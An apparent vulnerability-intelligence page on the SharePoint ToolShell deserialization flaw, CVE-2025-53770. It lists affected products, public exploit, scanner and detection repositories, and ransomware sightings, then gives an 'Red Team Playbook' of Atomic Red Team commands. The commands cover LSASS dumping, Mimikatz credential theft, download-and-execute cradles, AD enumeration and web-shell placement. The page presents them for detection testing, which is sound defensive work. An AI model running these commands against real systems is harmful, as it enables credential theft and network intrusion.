CVE-2025-53770
Overview
This vulnerability is a deserialization flaw occurring within the on-premises Microsoft SharePoint Server 2016 environment. It arises from improper handling of untrusted serialized data inputs, allowing maliciously crafted payloads to be processed by the deserialization routines. The affected component is the deserialization mechanism embedded in SharePoint Server's data processing functions, which fails to validate or sanitize incoming serialized objects before deserialization.
Vulnerability Description
Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.
Impact
An unauthenticated attacker can remotely execute arbitrary code on affected SharePoint Server instances by exploiting this vulnerability. This allows full system compromise, including the ability to execute commands with the privileges of the SharePoint service, access sensitive data, and potentially move laterally within the network. The attack requires only network access to the vulnerable SharePoint server and no user interaction, making it highly exploitable in enterprise environments. Successful exploitation can result in data breaches, service disruption, and loss of system integrity.
Solution
Microsoft is preparing a comprehensive security update for SharePoint Server 2016 Enterprise and related versions to address this vulnerability. Until the update is released, customers should apply the mitigation steps detailed in the official Microsoft Security Response Center advisory available at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770. Administrators should monitor this advisory for the release of the patch and apply it promptly upon availability to remediate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Sharepoint Server | All |
cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*
|
|
|
Microsoft | Sharepoint Server | 2016 |
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*
|
|
|
Microsoft | Sharepoint Server | 2019 |
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)
exploits/windows/http/sharepoint_toolpane_rce
|
Viettel Cyber Security, sfewer-r7 | Unknown | win | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Microsoft SharePoint Server 2019 (16.0.10383.20020) - Remote Code Execution (RCE) | Agampreet Singh | remote | windows | - | View |
GitHub PoCs (49)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
soltanali0/CVE-2025-53770-Exploit
SharePoint WebPart Injection Exploit Tool
|
soltanali0 | 314 | 76 | 2025-07-21 | View |
|
kaizensecurity/CVE-2025-53770
POC
|
kaizensecurity | 43 | 20 | 2025-07-21 | View |
|
MuhammadWaseem29/CVE-2025-53770
Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server (CVE-2025-53770)
|
MuhammadWaseem29 | 57 | 4 | 2025-07-22 | View |
|
hazcod/CVE-2025-53770
Scanner for the SharePoint CVE-2025-53770 RCE zero day vulnerability.
|
hazcod | 45 | 12 | 2025-07-21 | View |
|
ZephrFish/CVE-2025-53770-Scanner
ToolShell scanner - CVE-2025-53770 and detection information
|
ZephrFish | 18 | 5 | 2025-07-21 | View |
|
3a7/CVE-2025-53770
CVE-2025-53770 Mass Scanner
|
3a7 | 14 | 1 | 2025-07-27 | View |
|
AdityaBhatt3010/CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE
A critical zero-auth RCE vulnerability in SharePoint (CVE-2025-53770), now exploited in the wild, building directly on t...
|
AdityaBhatt3010 | 11 | 0 | 2025-07-22 | View |
|
exfil0/CVE-2025-53770
A sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770, a critical (CVSS 9.8) unauthenticated remot...
|
exfil0 | 5 | 1 | 2025-07-23 | View |
|
yosasasutsut/Blackash-CVE-2025-53770
CVE-2025-53770
|
yosasasutsut | 0 | 6 | 2025-07-21 | View |
|
Immersive-Labs-Sec/SharePoint-CVE-2025-53770-POC
|
Immersive-Labs-Sec | 4 | 0 | 2025-07-29 | View |
|
Sec-Dan/CVE-2025-53770-Scanner
A Python-based reconnaissance scanner for safely identifying potential exposure to SharePoint vulnerability CVE-2025-537...
|
Sec-Dan | 3 | 1 | 2025-07-22 | View |
|
saladin0x1/CVE-2025-53770
|
saladin0x1 | 4 | 0 | 2025-09-04 | View |
|
Bluefire-Redteam-Cybersecurity/bluefire-sharepoint-cve-2025-53770
|
Bluefire-Redteam-Cybersecurity | 3 | 0 | 2025-07-21 | View |
|
0xray5c68616e37/cve-2025-53770
Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server (CVE-2025-53770)
|
0xray5c68616e37 | 0 | 3 | 2025-07-22 | View |
|
0xKr1x/CVE-2025-53770-Scanner
🎯 Vulnerability scanner for SharePoint servers affected by CVE-2025-53770. Detects unsafe deserialization using ToolPane...
|
0xKr1x | 2 | 0 | 2025-07-28 | View |
|
RukshanaAlikhan/CVE-2025-53770
A critical zero-day vulnerability CVE‑2025‑53770 has been actively exploited in the wild against on-premises Microsoft ...
|
RukshanaAlikhan | 0 | 2 | 2025-07-21 | View |
|
paolokappa/SharePointSecurityMonitor
A comprehensive PowerShell-based SharePoint security monitoring solution with CVE-2025-53770 protection, advanced DLL an...
|
paolokappa | 1 | 1 | 2025-07-21 | View |
|
0xisfet/CVE-2025-53770-Scanner
🎯 Vulnerability scanner for SharePoint servers affected by CVE-2025-53770. Detects unsafe deserialization using ToolPane...
|
0xisfet | 1 | 0 | 2025-07-28 | View |
|
grupooruss/CVE-2025-53770-Checker
Comprueba si un servidor SharePoint on-premises es vulnerable a CVE-2025-53770
|
grupooruss | 1 | 0 | 2025-07-21 | View |
|
Udyz/CVE-2025-53770-Exploit
|
Udyz | 1 | 0 | 2025-07-25 | View |
|
rbctee/CVE-2025-53770
Scanner for the SharePoint CVE-2025-53770 RCE zero day vulnerability (fork from hazcod/CVE-2025-53770)
|
rbctee | 1 | 0 | 2026-02-11 | View |
|
tripoloski1337/CVE-2025-53770-scanner
|
tripoloski1337 | 1 | 0 | 2025-07-22 | View |
|
imbas007/CVE-2025-53770-Vulnerable-Scanner
|
imbas007 | 1 | 0 | 2025-07-22 | View |
|
Rabbitbong/OurSharePoint-CVE-2025-53770
Do you really think SharePoint is safe?
|
Rabbitbong | 1 | 0 | 2025-07-24 | View |
|
harryhaxor/CVE-2025-53770-SharePoint-Deserialization-RCE-PoC
A critical vulnerability in Microsoft SharePoint Server allows unauthenticated remote code execution via deserialization...
|
harryhaxor | 1 | 0 | 2025-08-02 | View |
|
Cameloo1/sharepoint-toolshell-micro-postmortem
Reproducible incident micro-postmortem for on-prem Microsoft SharePoint “ToolShell” (CVE-2025-53770): ATT&CK snapshot, “...
|
Cameloo1 | 1 | 0 | 2025-11-21 | View |
|
J4ck3LSyN-Gen2/CVE-2025-53770
Lab & PoC
|
J4ck3LSyN-Gen2 | 1 | 0 | 2026-03-21 | View |
|
Zedocun/SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis
Technical analysis of a SharePoint ToolShell (CVE-2025-53770) exploitation attempt involving RCE, webshell deployment, a...
|
Zedocun | 1 | 0 | 2026-04-01 | View |
|
zach115th/ToolShellFinder
Scans Windows IIS logs for signs of CVE-2025-53770 & CVE-2025-53771
|
zach115th | 0 | 1 | 2025-07-23 | View |
|
anwakub/CVE-2025-53770
|
anwakub | 1 | 0 | 2026-01-16 | View |
|
mfarshad-abdullah-khan/cve-2025-53770-research
🚨 Threat intel & incident response research on SharePoint "ToolShell" RCE zero-day (CVE-2025-53770). 🕵️♂️ Covers root-c...
|
mfarshad-abdullah-khan | 0 | 0 | 2026-08-04 | View |
|
mfarshadabdullahkhan-png/cve-2025-53770-research
🚨 Threat intel & incident response research on SharePoint "ToolShell" RCE zero-day (CVE-2025-53770). 🕵️♂️ Covers root-c...
|
mfarshadabdullahkhan-png | 0 | 0 | 2026-08-04 | View |
|
doerrdan/it-sec-toolshell
A Marp slide deck about CVE-2025-53770
|
doerrdan | 0 | 0 | 2026-05-28 | View |
|
victormbogu1/LetsDefend-SOC342-CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-andRCE-EventID-320
|
victormbogu1 | 0 | 0 | 2025-09-29 | View |
|
siag-itsec/CVE-2025-53770-Hunting
Hunting for Critical SharePoint Vulnerability CVE-2025-53770
|
siag-itsec | 0 | 0 | 2025-07-21 | View |
|
gmh5225/ZeroPoint
This PowerShell script detects indicators of compromise for CVE-2025-53770 — a critical RCE vulnerability in Microsoft S...
|
gmh5225 | 0 | 0 | 2025-07-21 | View |
|
GreenForceNetworks/Toolshell_CVE-2025-53770
|
GreenForceNetworks | 0 | 0 | 2025-07-22 | View |
|
bharath-cyber-root/sharepoint-toolshell-cve-2025-53770
|
bharath-cyber-root | 0 | 0 | 2025-07-24 | View |
|
bitsalv/ToolShell-Honeypot
Honeypot for CVE-2025-53770 aka ToolShell
|
bitsalv | 0 | 0 | 2025-07-25 | View |
|
BirdsAreFlyingCameras/CVE-2025-53770_Raw-HTTP-Request-Generator
Just a quick script I cooked up to exploit CVE-2025-53770
|
BirdsAreFlyingCameras | 0 | 0 | 2025-07-25 | View |
|
bossnick98/-SOC342---CVE-2025-53770-SharePoint-ToolShell-Auth-Bypass-and-RCE
An activity to train analysis skills and reporting
|
bossnick98 | 0 | 0 | 2025-07-27 | View |
|
ghostn4444/CVE-2025-53770
CVE-2025-53770 - SharePoint
|
ghostn4444 | 0 | 0 | 2025-08-14 | View |
|
nisargsuthar/suricata-rule-CVE-2025-53770
Detection rules for CVE-2025-53770
|
nisargsuthar | 0 | 0 | 2025-07-24 | View |
|
daryllundy/CVE-2025-53770
Tools for detecting and assessing systems vulnerable to CVE-2025-53770 (CWE-502: Deserialization of Untrusted Data).
|
daryllundy | 0 | 0 | 2025-07-28 | View |
|
r3xbugbounty/CVE-2025-53770
|
r3xbugbounty | 0 | 0 | 2025-07-28 | View |
|
Michaael01/LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell
|
Michaael01 | 0 | 0 | 2025-09-23 | View |
|
0x-crypt/CVE-2025-53770-Scanner
🎯 Vulnerability scanner for SharePoint servers affected by CVE-2025-53770. Detects unsafe deserialization using ToolPane...
|
0x-crypt | 0 | 0 | 2025-07-28 | View |
|
Agampreet-Singh/CVE-2025-53770
|
Agampreet-Singh | 0 | 0 | 2025-08-07 | View |
|
CyprianAtsyor/ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend
|
CyprianAtsyor | 0 | 0 | 2025-08-13 | View |
Ransomware Groups 6
Threat Feed
68 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Ransomware group known to exploit this vulnerability. Tools: Antiy System In-Depth Analysis Toolkit driver (BYOVD), Azure Blog Storage, Catbox[.]moe, Cloudflared, Cobalt Strike (78 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Active exploitation confirmed with 244 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
65 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
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